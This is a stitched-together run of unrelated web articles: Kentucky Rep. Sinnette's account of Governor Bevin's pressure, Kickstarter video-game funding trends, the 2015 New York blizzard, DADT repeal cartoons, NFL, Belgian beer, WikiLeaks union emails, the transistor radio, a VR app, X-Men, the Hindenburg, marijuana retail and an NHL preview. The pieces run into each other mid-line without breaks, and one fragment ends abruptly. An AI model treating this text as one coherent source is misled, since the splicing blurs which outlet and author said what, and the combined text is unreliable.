One, Rep. Kevin Sinnette, D-Ashland, says Bevin threatened him politically and attacked him personally when he rebuffed the new governor’s request to switch party registration as part of an effort to give the GOP control of the House of Representatives.
Jessica Ditto, Bevin’s communications director, refused comment, claiming the allegations are untrue.
Sinnette said that on the day after he told Bevin he would not switch parties, recorded phone calls went out to voters in his district implying Sinnette supports abortion and asking voters to call him and urge him to switch parties. Sinnette is opposed to abortion.
CNHI News obtained a recorded copy of the call to Sinnette’s district captured on a voice mail machine. It confirms Sinnette’s general description of the call. The caller identified himself as Dr. Frank Simon, a conservative activist and allergist from Louisville, who acknowledged in a separate interview that he made the call. Simon denied he made it on behalf of either Bevin or the Republican Party.
At the time, two other House Democrats — Denny Butler of Louisville and Jim Gooch of Providence —had announced they were switching parties while two more Democrats resigned to accept job appointments by Bevin. Two Republicans would shortly resign their House seats after winning election to constitutional offices at the same time Bevin was elected.
Those changes created four vacancies and reduced Democrats’ majority to 50-46. Republicans hoped to flip two or three additional Democrats in order to give the GOP control of the chamber even prior to special elections in March for the four vacant seats. (That didn’t happen and Democrats won three of four special elections to increase their advantage to 53-47.)
Sinnette said he was invited to meet with Bevin in the basement of the governor’s mansion one evening in late December.
An independent Republican source confirmed to CNHI News that a meeting between the governor, Sinnette and others occurred.
Because of multiple family members’ illnesses, Sinnette had briefly considered not running for re-election. But by the time of the meeting with Bevin he’d decided to run and had scheduled a fundraiser. But he hadn’t yet filed for re-election and the deadline to switch registration wasn’t until Dec. 31.
“Out of respect for the governor more than anything else, I thought I should go,” Sinnette said. “I felt like if the governor asked, then I should meet with him.”
The meeting began cordially but Sinnette said the tone changed quickly.
“It got kind of condescending,” Sinnette said. “He just kind of talked down to me. He told me (Democrats) didn’t know what we’re doing, that he had a mandate and I’d better get on the change train — like I was a hillbilly.
“And then, in the same breath, he said, ‘If you don’t, I’ll do everything in my power to get you beat and take you down.’ I took it as more than just an election thing. In my 26 years of practicing law and eight years in the legislature, I don’t think I’ve ever been talked to that way.”
The governor, Sinnette said, tried to bully him.
An angry Sinnette told the governor that “with all due respect, Governor, I don’t take kindly to threats. When you threaten me, you also threaten my district.”
Sinnette said he recounted for Bevin the advice he’d received from his father, one-time Boyd Circuit Judge Charles Sinnette, who died just before Kevin Sinnette won the 2008 general election for the District 100 House seat.
“He told me the most important thing I’d take to Frankfort is my word and a reputation for honesty,” Sinnette told Bevin. “He told me it takes years to build a reputation but it can be destroyed in a split second.”
With that, Sinnette told Bevin he would not change parties and left.
The next day, the recorded phone calls went out to Sinnette’s district.
Sinnette said road and coal severance projects for his district were removed from the budget by the Republican Senate, although he acknowledges he can’t prove that was in retaliation for his refusal to switch parties.
The only bill Sinnette sponsored that passed the General Assembly last spring was one to offer incentives to AK Steel to refurbish a steel furnace, something Bevin had previously endorsed.
Sinnette said he and Bevin’s predecessor, Democrat Steve Beshear, “had differences too, and he’d try to change my mind, but he never threatened me.”
Sinnette said other Democratic lawmakers were approached in a similar fashion by Bevin or other Republicans.
“I know for a fact that others were subjected to the same kind of thing,” said Sinnette. But he declined to identify them, saying it should be their decision to come forward.
Sinnette struggled with his own decision to go public about the Bevin meeting for fear of retaliation. But in the end he concluded the public should know what happened.
RONNIE ELLIS writes for CNHI News Service and is based in Frankfort. Reach him at rellis@cnhi.com. Follow CNHI News Service stories on Twitter at www.twitter.com/cnhifrankfort.I used to check Kickstarter numbers every month. But as things were getting busy on other fronts, I settled to check on the numbers every quarter, or when I have a conference coming up where I am talking about the topic, whichever happened first. I keep an eye on projects though, but that doesn’t allow me to get a proper grasp of the trend… This 2nd Quarter of 2015 has been particularly active, with lots of big projects doing really really well (and remember, that’s even before Shenmue 3), so I was going into the spreadsheets with that in mind, and expecting a strong rebound for video games on Kickstarter. Unfortunately, I was very wrong.
A few reminders on the data collected and how it is presented:
Kickstarter changed the way creators can categorize their projects in April 2014 and added new subcategories to the Games section.
The data presented only includes projects that ended before the 1st of July 2015. So yes, it is already much bigger purely with the Shenmue 3 campaign.
All amounts are converted to USD. However, I used a fixed exchange rates and the data is spread across many years, with wide variations in the real exchange rates.
I have changed the definition of money raised. I used to take all the money “pledged”, but this wasn’t very accurate. I now only look at the money pledged by projects that met their goal.
The data is collected automatically (thanks to our friends at Potion of Wit), sometimes some projects are missed or not properly parsed. If you run similar scripts, you may have different results.
The hidden, slow decline
While we are only half way through 2015, looking at the year so far is a good way to get an impression of the current trend.
At the beginning of July, video games projects had already raised more money than the whole of 2014. And this is without two of this year’s heavy hitters, Shenmue 3 and Bard’s Tale 4, (who have raised more than $7.8m between them). However, this is not something to be celebrated. While it is nice to see that Kickstarter is still a platform where a project can gather a lot of support (2014 was a very scarce year as far as big projects were concerned), the truth is, 2015 so far is the worst year yet for “regular” projects:
The majority of the money raised by video games was through very large projects. If the current trend continues, projects that raised less than $500,000 are on track to garner less money than in 2014.
In 2013, there was a significant correlation between large projects hitting the platform and smaller projects getting more support. The big projects were bringing more visibility to the smaller ones. This behaviour has now gone apparently. The below graphs better illustrate the situation:
This is the same graph as previously, without the $500k+ projects. While projects under $10k might be on track to raise an equivalent total as in 2014 (or a bit more even), projects between $10k-$50k, $50k-$100k and$100k-$500k are underperforming compared to last year.
We are not talking about a few projects that should have been in that $10k-$500k bracket over performing as big hits. Looking at the raw numbers of projects involved, it is clear there is a drop in those tiers (and I doubt the rest of 2015 will be massively different):
If anything, I don’t expect as many big projects for the second half of 2015.
But, wait! This isn’t the only way to look at it? Maybe there has been fewer projects overall?
Not really:
If we can imagine more projects than last year to get funded (or in the same range), it will be thanks to the steady growth of the small projects (the ones below $10k; for those, Kickstarter is getting stronger with time I suppose). But overall, the total volume of projects submitted to the platform is growing, meaning the proportion of projects getting funded is going down.
So the “success rate” is going down? How bad is it?
To be fair, this is more a symptom of Kickstarter just getting crowded, sometimes with very low quality projects.
One way to quickly measure those low quality projects is to look at those projects that got $0 pledged to them:
In 2015, we are getting a smaller proportion of projects getting funded, while the proportion of projects that got $0 pledged to it is increasing. $0! It means even their mums didn’t support their project… That’s almost 150 projects at $0 pledged in the first half of 2015, against 189 for the whole of 2014.
This emphasises the burden on project creators to promote their projects as the discoverability on the platform is not helped by those low quality projects.
But, Thomas, you are not accounting for the mobile games you said? Maybe it is changing the trends?
Let’s look at mobile games then. It was introduced as a new subcategory in April 2014, so please remember the numbers for that year are only partial numbers. So, how big are mobile games on Kickstarter?
So, for every mobile game project, you have 3 video games projects. That’s actually a lot!
Sadly, they haven’t read my blog and they don’t know that Kickstarter is not a good platform to fund a mobile titles:
For every mobile game project that managed to get funded, 8 video games projects reach their goal. Less impressive…
And then, there is how much they raised:
In 2015, video games raised 70 times more money than mobile games.
This is how the mobile game projects are doing per tier:
And yes, mobile projects also tend to have a much higher ratio of projects stuck at $0 pledged:
More than a third of the mobile game projects don’t get a single dollar pledged to them…
In conclusion, Mobile games are not where the secret success of video games is hiding.
Where is it going?
I wish I knew. I don’t like the trend. While Kickstarter is growing (more projects gets funded; more money is pledged) this growth is at the extremes: very small projects and very large projects. Here I was hoping that the wave of big projects would benefit projects across the board.
So, based on all of the above there are a number of thoughts I currently have:
The Kickstarter fatigue is real and the large projects didn’t make it disappear, and it might be affecting mid-size projects the most. If anything, the big projects are hiding the issues.
Mid-sized projects are in that odd budget range where it might either feel too expensive for what the game is, or too cheap for its ambitions. If you compare industry budgets to make PC and Console games (the platforms that are relevant to crowdfunding), those mid-tier budgets are actually very low. Most PC games these are probably above $500k than below. The audience might be wising up to this and prefer to go for the project closer to their full budget cost (which is arguable as I believe the Kickstarter “hits” are as under budgeted as the other ones).
There might be a lot happening outside of Kickstarter. The last time I properly checked the other platform and their relative weight for video games on the crowdfunding space, they were representing an incredibly small proportion of the projects (both for number of projects and the $ amounts raised). it might be time for me to do another pass on Indiegogo and see if it has increased its market share.
Overall, I think this is a maturity issue. Big projects go for low hanging fruit, using their brand power, and small projects are struggling to build a proposition where they can make the audience care about them. This is a shame, there is still so much potential for crowdfunding to grow, but there is a need for better best practice to be implemented across the board. That’s also true for large projects: I can’t believe Shenmue 3 was so successful when the campaign was poorly put together and terribly mismanaged (if you want examples then feel free to seek me out at the next conference I am attending). Crowdfunding sceptics have another great case study of fans being mishandled; potential projects creators will have wrong expectations based on that performance. The ecosystem needs a “growing up” moment, probably starting with more transparency.
I recommend reading this Polygon article on the topic too: ‘Big indie’ Kickstarters are killing actual indies
Appendix – List of projects that raised more than $500,000 in the first half of 2015Media playback is unsupported on your device Media caption New Yorkers ask what happened to "snowmageddon"?
The US National Weather Service (NWS) has admitted its forecasts were wrong, after predicting a "potentially historic blizzard" would strike New York City.
The city was largely spared as the storm piled deep snow on Connecticut and Massachusetts.
City mayor Bill de Blasio denied he had overreacted to warnings, saying he could only go on information available.
Blizzard warnings remain in effect for Maine and eastern New Hampshire.
"Rapidly deepening winter storms are very challenging to predict," the NWS wrote on its Facebook page.
"The storm has moved further east and will be departing faster than our forecasts of the past two days.
Media playback is unsupported on your device Media caption Mayor Bill de Blasio: "We had to take precautions to keep people safe"
"The result is much less snow than previously predicted for the western half of our region," it added.
On Monday, an emergency was declared in a swathe of north-eastern states, and meteorologists predicted up to 90cm (36in) of snow. Officials later downgraded the numbers.
The New York City authorities imposed a driving ban - since lifted - and took the unprecedented step of shutting the subway.
But on Tuesday, New Yorkers awoke to a blanket of snow less deep than feared, and since then city life has been getting back to normal.
"Would you rather be prepared or unprepared? Would you rather be safe or unsafe?" asked Mr de Blasio, defending the moves.
"My job as the leader is to make decisions and I will always err on the side of safety and caution."
Image copyright Reuters Image caption The snow did not hit New York City as heavily as predicted
Analysis: Nick Bryant, BBC News, New York
Shutting down the New York subway system, for the first time in its history because of snow, can easily be viewed in retrospect like overkill. So does bringing in a car curfew, which banned non-emergency vehicles from the streets from 23:00 on Monday night.
Walking the empty streets of Manhattan pre-dawn, and seeing the snow, we all found ourselves asking the same question: "Is that it?"
It reminded me of that scene from Crocodile Dundee, when Mick Dundee is confronted by muggers wielding a switchblade. "That's not a knife," he says, pulling out a much scarier weapon. "This is a knife."
That's not a storm, some New Yorkers told us, as they made their way to work muttering that Bill de Blasio had got it badly wrong.
New Yorkers ask 'Is that it?'
Other areas of New York state saw much heavier snowfall, with "blizzard conditions" across Long Island, according to the NSW.
A teenage boy was later killed in a sledging accident in the area.
Worst affected elsewhere were Connecticut and Massachusetts, with the heaviest snowfall recorded outside Boston - 91 cm (36 in) of snow in Lunenburg by Tuesday night.
In Connecticut, an elderly man collapsed while shovelling snow. He died later in hospital on Tuesday.
At the scene: Gary O'Donoghue, BBC, Scituate, Massachusetts
Media playback is unsupported on your device Media caption Gary O'Donoghue reports from Scituate in Massachusetts
Flooding is a big threat here. The town of Scituate is bracing itself for a high tide in the coming hours and the neighbouring town of Marshfield has already had its sea wall breached.
Some along this coast have already been evacuated from their homes and the streets are largely empty of people.
The storm is expected to continue to whip the eastern part of the state until early Wednesday - and only after that can a true assessment be made of its impact.
The storm also caused coastal flooding in Massachusetts. High tides breached a sea wall and damaged 11 homes in Marshfield, 50km (30 miles) south of Boston.
The state's only nuclear power station shut down after the blizzard interrupted its power flow.
Thousands of people are still without power, more than 45,000 of them in Massachusetts.
But Governor Charlie Baker said the snow had been "fluffier and lighter" than anticipated, meaning there were fewer power cuts.
Flights are set to resume early on Wednesday at Boston's Logan International Airport, along with trains to New York and Washington.
But air travel remains disrupted, with more than 800 flights cancelled, according to flightaware.com.
Image copyright Reuters Image caption Some people enjoyed snowboarding in Brooklyn after the storm on Tuesday
Image copyright AP Image caption The blizzard brought up to 85cm (33.5in) of snow in Connecticut by Tuesday night
Image copyright EPA Image caption Snow ploughs worked overnight to clear drifts in Massachusetts
Image copyright AP Image caption The strong winds are expected to continue into early Wednesday
Image copyright AP Image caption More than 10 houses were damaged along the coast in Marshfield by flooding
"The wind here is tremendous, it's difficult to see very far out the window," said Christie Craigheard in New Hampshire, another of the affected areas.
The NWS is still warning of potentially life-threatening conditions along the New England coast, as the storm heads north into Canada.
Meteorologists expect the snow to continue into early Wednesday in eastern New England.A friend of mine still living in Winston-Salem, N.C., pointed my direction to a handful of ill-conceived, tasteless and offensive political cartoons syndicated by Cagle Cartoons and published by The Winston-Salem Journal following Wednesday's "Don't Ask, Don't Tell" repeal signing.
Perhaps the worst of the three political cartoons is Brian Fairrington's which pictures a flag-draped coffin and a newspaper lying side-by-side. The paper's headline reads, "Don't Ask, Don't Tell Repealed," while a comment bubble over the coffin says, "You Go Girl!" The cartoon, in one fell swoop, manages to not only make light of the sacrifices of lesbian, gay and bisexual servicemembers but also each and every American who gave the ultimate sacrifice in service to their nation.
Though the flag-draped coffin is the worst, the other two are just as tasteless. Again, they make light of the service of lesbian, gay and bisexual servicemembers and the personal and public sacrifices they've had to make to serve this nation especially in this time of war. Mike Lester's cartoon, picturing an older man imagining the worst possible "queering" of the military, serves only to perpetuate the exact prejudices and bigotry that made "Don't Ask, Don't Tell" possible and kept it in place for 17 years. The same is true of Daryl Cagle's cartoon, picturing not a valiant and respectable gay servicemember but rather a servicemember "flaunting" his sexuality along with his service awards.
Gay and lesbian members of the U.S. Armed Forces are disrespected in these cartoons. Their tireless service on behalf of our freedoms and safety, along with that of their heterosexual colleagues, is reduced to serving as punch lines of insensitive jokes.
The cartoons are below, after the jump. Two were published on the Journal's site and one published in the paper on Dec. 23, 2010. Links to each cartoon on Cagle's site are provided as well.Getty Images
With current Steelers receiver Mike Wallace holding out and former Steelers (and Giants and Jets) receiver Plaxico Burress still looking for work (and needing it), it takes something less than a genius to connect the dots in a way that would lead Plaxico back to Pittsburgh.
But when the possibility is floated by Ed Bouchette of the Pittsburgh Post-Gazette, who is as plugged in as anyone when it comes to the Steelers, it’s time to pay attention.
Bouchette says that Burress wants “too much money,” but that “something has to give and it doesn’t look as though Wallace will give in any time soon.”
Though the Steelers inexplicably opted not to make an aggressive move with Wallace on June 15 and cut his one-year tender offer by more than $2 million, the Steelers pulled a piss-and-vinegar power play 11 days ago, signing receiver Antonio Brown to the deal that surely would have been available for Wallace.
Now, the ultimate “we’re moving on” moment would come if/when the Steelers sign a replacement. And the replacement could be Burress.
Quarterback Ben Roethlisberger surely would welcome it, and Burress could provide an interesting complement to the rest of the team’s receivers.
So if the Steelers really want to shake things up after giving Wallace’s long-term deal to Brown, they could strip the RFA tender from Wallace and give his $2.7 million (or something less than that) to Burress.
Yes, it would make Wallace a free agent. But it also would give him a chance to find out that he won’t be getting Larry Fitzgerald money on the open market — especially if he hits the open market in August.I was in Brussels this weekend, and I think I’m going to write a few little “postcards” from important places in Brussels. Our trip had two main purposes: To visit Cantillon and 3 Fonteinen, and to drink a lot of fresh and delicious De La Senne beer. We succeeded.
While much Belgian beer is sweet and strong, De La Senne have almost found their own niche with low alcohol, golden hoppy ales. There are a few other breweries who are brewing some nice hoppy pale ales, and saison is making a come back, but De La Senne have perfected this kind of beer.
My favourite beers from around the world are pretty much American pale ales, English golden ales, Kölsch, Bavarian Helles, and Czech svetly/pilsner. Golden, hoppy session beers from everywhere, and this is where De La Senne fits in, with their own Belgian touch. Their beers have an elegant – and quite clean – note of Belgian yeast, mostly European hop character, and a nice bitter bite in the finish. It’s like they have their own and completely unique strain of yeast, but I imagine it’s just a matter of really good craftsmanship.
We drank a lot of them at Moeder Lambic, but also visited the brewery. Friday morning, we drove a few kilometres out of the city centre to the brewery. We talked about how we could actually have walked, but considering that the main goal was to buy some beer, it made sense to drive.
The tap room isn’t much. The raw storage room looks unfinished, and it doesn’t look like it’s about to get finished. There are big windows shielding it from the production hall, and it’s nice to be able to look in. And then of course, there is the bar and the shop, which makes everything else less important.
For fans, I would recommend a visit to Brasserie De La Senne, just to have been there. For others, I would recommend visiting Moeder Lambic and trying some of their three or four offerings on tap. If you also like refreshing, easy drinking beer that’s deeply satisfying for the taste buds, you’ll soon become a De La Senne fan yourself.Leaks Show Machinists’ Union President Secretly Moved Up Endorsement Vote to Help Clinton
According to a statement put out by IAM the day of the vote, the endorsement was based on an internal poll of nearly 2,000 of the union’s members. (Karen Murphy/ Flickr)
Back in August 2015, when Bernie Sanders and Hillary Clinton were still battling it out for the Democratic nomination and Sanders’ campaign was viewed as a quixotic amusement, Clinton won the pivotal endorsement of the International Association of Machinists and Aerospace Workers (IAM), one of the nation’s biggest unions. It was the second endorsement Clinton had secured from a national union and helped shore up Clinton’s credentials as a friend to workers.
Emails released by WikiLeaks over the past two weeks suggest the kind of machinations that went on behind the scenes to secure Clinton that endorsement. According to a July 8, 2015 email from Nikki Budzinski, the Clinton campaign’s labor outreach director, the union’s then-international president, Tom Buffenbarger, moved up the endorsement vote many months and did so without the knowledge of most of IAM’s officers.
“I just spoke with IAM, they have confidentiality [sic] shared with us that Buffenbarger will be moving his board to take a endorsement vote on August 14th in NYC,” wrote Budzinski. “Only three officers at IAM are aware of this, so its [sic] being tightly held so that they don't have any issues on the board with timing.”
According to a statement put out by IAM the day of the vote, the endorsement was based on an internal poll of nearly 2,000 of the union’s members, including current and retired workers. The survey, which IAM spokesman Frank Larkin at the time told In These Times had “reached out quite scientifically” to IAM members, favored Clinton by a more than 2-1 margin, including more than 6-1 against Sanders among Democratic members, according to IAM’s press release. The poll also had IAM members favoring early involvement by more than 2-1.
Budzinski’s email raises questions, however, about whether the early endorsement was indeed driven by the feelings of members, or if it was more based on the whims of Buffenbarger. IAM did not immediately respond to a request for comment.
“The IAM endorsement is usually made at their Convention,” wrote Budzinski. “But their next Convention is not until 2016. Buffenbarger didn't want to wait.”
Five months after the vote, Buffenbarger retired and joined the Clinton campaign as an unpaid surrogate and liaison to labor groups.
The IAM officers involved were so certain Clinton would win the endorsement vote, they requested that she attend a retirement dinner for IAM Secretary-Treasurer Robert Roach that was to be held the evening of August 14, following the vote. Budzinski noted that the board would attend the dinner.
In a separate email, Budzinski openly referred to the dinner as an “endorsement event.” As she explained in another email, the dinner would be the venue where Clinton would officially accept the IAM endorsement from the board. Buffenbarger was so insistant Clinton be at the event in person, Budzinski wrote, that “he is even offering a jet to get her there (!).”
Calling the vote early was crucial for the Clinton campaign. At the time, Sanders—considered a longshot candidate for most of the year—had dramatically filed down Clinton’s once-commanding lead in the polls, and both candidates held an endorsement from one national union each: Clinton from the American Federation of Teachers (AFT) and Sanders from National Nurses United (NNU). Clinton was also under fire from left-wing and labor groups for her less than forthright positions on issues like the $15 minimum wage and the Trans-Pacific Partnership agreement.
It’s not clear how exactly IAM’s internal poll was conducted. But there’s a chance that, given more time and as IAM members and other voters got to know the candidates better, Clinton’s significantly stronger showing in the survey could have been eroded or even reversed by Sanders.
By the close of February 2016, Sanders—once considered barely more than a protest candidate by most media observers—had demolished Clinton in New Hampshire and virtually tied with her in Iowa. And as The Intercept reported in January 2016, Sanders tended to win endorsements from unions and progressive groups that let its members vote.
Buffenbarger justified the IAM’s early endorsement on the idea that the situation was dire for Clinton. “She is now the target of unprecedented attacks, financed on a scale never seen before,” Buffenbarger said at the time. “The time to help is when help is needed most, and we intend to do just that.”
It’s not clear why August 2016 was the time help was “needed most,” however. At that point, the Democrats were yet to even have their first debate, and while the GOP candidates took regular potshots at Clinton, the Republican field was a crowded mess. Meanwhile, Buffenbarger’s alarm about financing was more applicable to Clinton than her opposition. By July 2015, Clinton had beaten Obama’s 2012 fundraising record and raised more than $45 million, much of it from lobbyists and Wall Street-linked volunteers.
The WikiLeaks emails give us only a small glimpse into the behind-the-scenes wheeling and dealing that goes into presidential endorsements. What they do suggest, however, is that in the midst of a competitive primary campaign, at least one of Clinton’s high-ranking allies in the world of labor was more than happy to do what he could to tip the scales in her favor.As World War II gripped Europe, Winston Churchill knew that the conflict would be fought on two fronts—on the battlefield and in the scientific lab. The race between the Allies and the Axis powers to achieve technological and innovative advancements was what Churchill called the “Wizard War.” Without science and technology “all the prowess of the fighting airmen... would have been in vain,” he wrote.
Among the technologies to develop from this burst of wartime innovation was radar, wizardry that would eventually lead to the the transistor. It was in December 1947 that engineers John Bardeen, Walter Brattain, and William Shockley debuted the transistor effect, the building block for all modern electronic devices, at Bell Labs headquarters in Murray Hill, New Jersey.
While the devices of the time relied primarily on the more delicate, energy-inefficient vacuum tube technology, the transistor, which used semiconductor materials to amplify electronic signals, allowed for products that were smaller, more durable, and more easily produced. For this, all three would be awarded the 1956 Nobel Prize in Physics.
The U.S. military, recognizing the transistors’ potential to improve everything from radars to rockets, quickly seized on the new technology—to such a degree, in fact, that several years went by before it was applied to consumer products. “The military is buying all of these things they can get their hands on,” says Harold Wallace, a curator at the National Museum of American History. “But it was obvious to everybody that consumer grade radios based on transistors would be a good thing. The question is, when could they make it happen?”
The answer came 1951, when two companies teamed up to begin researching a new idea: a small, portable radio. Texas Instruments supplied the transistors to Idea Inc., who designed, produced, and—three years later—finally debuted the Regency TR-1 in November 1954, just in time for the holiday-shopping season. In the collections at the American History Museum resides one of the original Regency models, donated in 1984 by Dr. Willis Adcock, a member of Texas Instruments’ original transistor team, for a 1986 exhibition on microelectronics. Only a few inches tall and encased in red plastic, the radio originally retailed for $50—about $400 today.
Almost immediately, the in-demand Christmas gift of 1954 began to change the way that Americans consumed their music; radio, once a family activity where everyone gathered around a single static machine, could now become a solitary pursuit, one that followed a person wherever they went.
“Before [the Regency], radios were big. You had to plug them in, and they sat on a table or a floor. It was furniture,” says Michael Jack, a music producer in Ontario and transistor-radio collector (in total, he estimated, he’s purchased and restored about 1,100 of them). “Then all of a sudden, you could stick something in your pocket. It was kind of the start of this social revolution where people could carry their music around with them.”
For Idea Inc., which was soon driven out of the transistor-radio game by larger and more prolific companies with cheaper models, the success of the Regency model was robust but short-lived. For the music industry, though, the company’s timing couldn’t have been any better.
“When the transistor radio was introduced in the mid-1950s, it was the same time that rock and roll was evolving,” Jack says. “Now, teenagers could say, ‘I can’t listen to this music on the family radio, so I can go buy a transistor radio and listen to whatever I want … It was the first time in history that teenagers could kind of listen to their own music and no one could tell them not to.”
Today, a person only needs to plug their headphones into their iPhone—its own piece of technological wizardry—to appreciate the significance of the transistor radio. Bloomberg recently reported that Apple is expecting another iPhone-fueled holiday record in sales between now and the end of the year. The similarity to the 1954 transistor radio—a music-playing device encased in plastic, a few inches wide and a few inches tall—lends credence to the old adage "the more things change, the more they stay the same." And as Apple predicts strong sales for its newest models, Radio Shack and Amazon have recently begun to carry a line of vintage-style transistor radios—just in time for the holidays, 60 years later.What the developers have to say:
Why Early Access? “VIRTUAnimator is a VR-exclusive title. With VR being as new as it is, there are lots of things everyone is still figuring out about how to work in VR and how things like UI should work. Early Access allows the community to provide much-needed feedback on the current state of things, allowing me to polish the game up to it's necessary standards. It also let's me know what is needed, what features get used and why, as well as how to make it accessible to everyone.” Approximately how long will this software be in Early Access? “VIRTUAnimator will remain in Early Access for roughly 6 months, depending on the changes and updates required.” How is the full version planned to differ from the Early Access version? “The Early Access version is, for the most part, functionally complete. Just very rough. Some might even go so far as to say ugly. However, you can animate, save/load, render out image sequences, and make use of the Steam Workshop right now!
The Full Version will be the pretty version. All the features in the full version will have been added during the Early Access phase, and will be fully fleshed out and polished over the course. Such features will include mp4 export, keyframe blending/smoothing, and render effects control.” What is the current state of the Early Access version? “VIRTUAnimator is, more-or-less, 'Functionally Complete'. That means most of the main features are in and working. You can load objects other's have created, animate them, save/load/share your animations, download items and scenes from the Steam Workshop, and more. The UI is not great, but it works.
Since entering Early Access, some major features have been added: DAE Export (export animations into a standard 3D format), Live Recording (record an object's motion in real time), and Pose Blending (smooth curved motion).” Will this software be priced differently during and after Early Access? “The price will be raised after leaving Early Access.” How are you planning on involving the Community in your development process? “Community feedback is necessary for improvement, so I'll be active in the Steam Forums/Community Hub to get all the feedback I can, in addition to hosting live development sessions, to get real-time feedback.
Specifically, I need to see just how people are using the app; what kind of things are being animated, uploaded, rendered, etc., and prioritize development around that.”from the book “ Hell Yeah or No ”: Everything is my fault 2012-12-09
I hardly ever get mad, but I spent a few years being really |
, the mind races with glorious possibilities. But it’s worth keeping two things in mind: 1. Not everyone wants to make a superhero prequel-sequel, and 2. Fox doesn’t tend to have their eye on auteurs when it comes to big blockbuster films. Darren Aronofsky was briefly going to direct The Wolverine, mostly on the strength of his relationship with Fountain star Hugh Jackman, but when he departed, journeyman director James Mangold replaced him. So let’s set aside big names here — Christopher Nolan! Edgar Wright! Terrence Malick, why not! — and focus on the more likely options: Up-and-coming directors looking to break into blockbusterdom, and work-for-hire professionals with decent track records.
As it happens, Fox recently made a list filled with names like that when director Rupert Wyatt departed the studio’s other prequel-sequel, Dawn of the Planet of the Apes. That list included Juan Carlos Fresnadillo (28 Weeks Later) and Jeff Nichols (Take Shelter), both good directors who deserve a chance at big-budget glory. The list also included Rian Johnson, who seems like the perfect director for the material: His Looper deftly handled a time-hopping plotline, and balanced action-movie pyrotechnics with genuine heart. I might throw a couple of foreigners into the mix, too: Tomas Alfredson’s great adaptation of Tinker Tailor Soldier Spy had a similar period setting and a ridiculously complicated plot, while Tom Tykwer stages an impressive comeback after years in the post-Run Lola Run wilderness with this weekend’s Cloud Atlas, his collaboration with the Wachowskis. And while we’re talking foreign, certainly someone in Hollywood needs to snag Gareth Evans, whose martial-arts film The Raid: Redemption put all of this year’s American action movies to shame.
What do you think, fellow X-Men fans? Play Hollywood for a second: Who’s your director for Days of Future Past?
Follow Darren on Twitter: @DarrenFranich
Read more:
Matthew Vaughn won’t direct sequel ‘X-Men: Days of Future Past’
Bryan Singer confirms title of ‘X-Men: First Class’ sequel, and it’s a doozy
‘X-Men’ movie round-up: Producer teases upcoming ‘Deadpool,’ ‘Wolverine,’ ‘X4,’ and ‘X5′ projects
PopWatch Dictionary: ‘Preboot.’ (Example: ‘X-Men: First Class’)Last Sunday, May 6, marked the 75th anniversary of the 1937 Hindenburg disaster. The massive German airship caught fire while attempting to land near Lakehurst, New Jersey, killing 35 people aboard, plus one ground crew member. Of the 97 passengers and crew members on board, 62 managed to survive. The horrifying incident was captured by reporters and photographers and replayed on radio broadcasts, in newsprint, and on newsreels. News of the disaster led to a public loss of confidence in airship travel, ending an era. The 245 m (803 f) Hindenburg used flammable hydrogen for lift, which incinerated the airship in a massive fireball, but the actual cause of the initial fire remains unknown. Gathered here are images of the Hindenburg's first successful year of transatlantic travel, and of its tragic ending 75 years ago. (Also, be sure to see Recovered Letters Reveal the Lost History of the Hindenburg on Atlantic Video.)after a few visits to my apt office(they accept packages for us when we are not home)..the other packages were from my family..they finally remembered oh yea you had another package that was delivered also....I guess the Grinch was working in the office postal department...so i have been wondering and waiting for my RSS 2011 package..turns out it has been there a week!!!
so my wife picks it up today after work..and i get home to a large envelope from California...My wife didnt know who it was from...(she doesnt know much about reddit) but i knew it was probably my RSS.....and i am just mildly pissed at the office..
but never mind them..
so i open the large envelope...inside is another envelope...with a cardboard container with a photograph..
turns out its a hand drawn picture of Pigeon Point Lighthouse which is between San Francisco and Santa Cruz --California while i do know a few lighthouses on the east coast and a few of the ones here where i live...i am not as familiar with the west coast ones..so this will be a nice addition to my picture collection of the ones i do have...
and with the note accompanying the picture (damn onions in here) i will always remember my first Reddit Secret Santa (and not my last)Buy Photo Stevie Kaplan, an employee at Choice Organics near Fort Collins, organizes the medical marijuana product counter in this Dec. 18, 2013, file photo. Choice Organics will be the first retail marijuana store in Larimer County when it opens Wednesday. (Photo: V. Richard Haro/The Coloradoan )Buy Photo
Larimer County’s first retail recreational marijuana store will open for business Wednesday.
Choice Organics, 813 Smithfield Drive, has received clearance from county building inspectors to occupy the store’s newly constructed facilities just outside Fort Collins city limits, said co-owner Erica Freeman.
The recreational side of the business will be in the same building as Choice Organics’ medical marijuana center but will have a separate entrance.
Store hours will be 11 a.m. to 8 p.m. Wednesday to Friday, 10 a.m. to 6 p.m. Saturday, and 11 a.m. to 5 p.m. Sunday. Retail sales will be closed Monday and Tuesday, at least to start, Freeman said.
“We’re trying to give our medical customers some time when they don’t have to deal with recreational,” she said. “We’re also trying to keep our product supplies in check without raising our prices too much.”
The medical marijuana center will be open 9 a.m. to 6:50 p.m. weekdays, 10 a.m. to 6 p.m. Saturday, and 11 a.m. to 5 p.m. Sunday. The earlier hours for the medical marijuana outlet are a “courtesy” to medical customers, Freeman said.
Anyone age 21 and older may visit the recreational pot store. A state-issued medical marijuana registry card is needed to access the medical side of the business, which has been open since January 2011.
Freeman said she is not sure what kind of turnout to expect for opening day.
The store is outside Fort Collins city limits, near the Interstate 25 Mulberry Street exit. Medical marijuana stores within the city must apply to the state for recreational marijuana licenses before receiving city-issued licenses.
Fort Collins has 11 licensed medical marijuana centers. As of last week, two stores had applied for state retail recreational pot licenses, officials said.
Licensing of recreational pot stores and growing facilities within city limits is likely to be a few months away, officials said.
Read or Share this story: http://noconow.co/PNRALtThe NHL’s Metropolitan Division has become one of the most competitive divisions in professional hockey today. Most of these teams have all faced one another in the playoffs a time or two whether in recent or distant memory. The Metropolitan Division includes several major US markets that have some of the most loyal and passionate hockey fans.
From top-to-bottom, the Metropolitan Division is one of the tighter divisions in the NHL. Four of the eight teams in the Metropolitan Division made the 2015 NHL playoffs (NY Rangers, Washington Capitals, NY Islanders, Pittsburgh Penguins). The two Metropolitan teams that just missed the playoffs by less than fifteen points were Columbus and Philadelphia. New Jersey and Carolina finished seventh and eighth respectively in the Metropolitan Division, but they both won at least ten games against their division opponents.
There are not any cupcake games inside the Metropolitan Division. From the teams near the top to the teams at the bottom, each team has a chance to win against their division rival in every contest.
Metropolitan Division 2015-16 Preview:
Most of the Metropolitan Division teams have had busy summers this year. The Washington Capitals certainly have made a fair share of moves of their own. So where do the Capitals stack up against the rest of these clubs for the upcoming season?
I have come up with standings predictions for the upcoming 2015-16 season. Here is how I think the Metropolitan Division will play out next season:
*NY Rangers
